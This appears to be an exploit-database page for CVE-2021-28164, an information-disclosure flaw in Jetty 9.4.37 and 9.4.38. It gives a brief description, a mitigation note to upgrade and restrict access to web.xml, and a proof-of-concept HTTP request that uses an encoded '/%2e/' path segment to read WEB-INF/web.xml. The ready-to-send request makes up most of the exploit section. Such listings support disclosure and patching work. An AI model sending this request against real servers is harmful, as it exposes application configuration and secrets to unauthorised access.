header-logo
Suggest Exploit
vendor:
Jetty
by:
Mayank Deshmukh
5.5
CVSS
MEDIUM
Information Disclosure
200
CWE
Product Name: Jetty
Affected Version From: 9.4.37.v20210219
Affected Version To: 9.4.38.v20210224
Patch Exists: YES
Related CWE: CVE-2021-28164
CPE: a:eclipse:jetty:9.4.37.v20210219,cpe:/a:eclipse:jetty:9.4.38.v20210224
Other Scripts:
Platforms Tested: Kali Linux
2021

Jetty 9.4.37.v20210219 – Information Disclosure

This exploit allows an attacker to retrieve sensitive information from the web.xml file in Jetty 9.4.37.v20210219 and 9.4.38.v20210224 versions. By sending a specially crafted HTTP request, an attacker can access the web.xml file containing configuration details and potentially sensitive information.

Mitigation:

To mitigate this vulnerability, it is recommended to update Jetty to a version that includes a fix for CVE-2021-28164. Additionally, restrict access to sensitive files such as web.xml.
Source

Exploit-DB raw data:

# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure 
# Date: 2021-10-21
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/
# Version: 9.4.37.v20210219 and 9.4.38.v20210224
# Tested on: Kali Linux
# CVE : CVE-2021-28164

POC #1 - web.xml

GET /%2e/WEB-INF/web.xml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0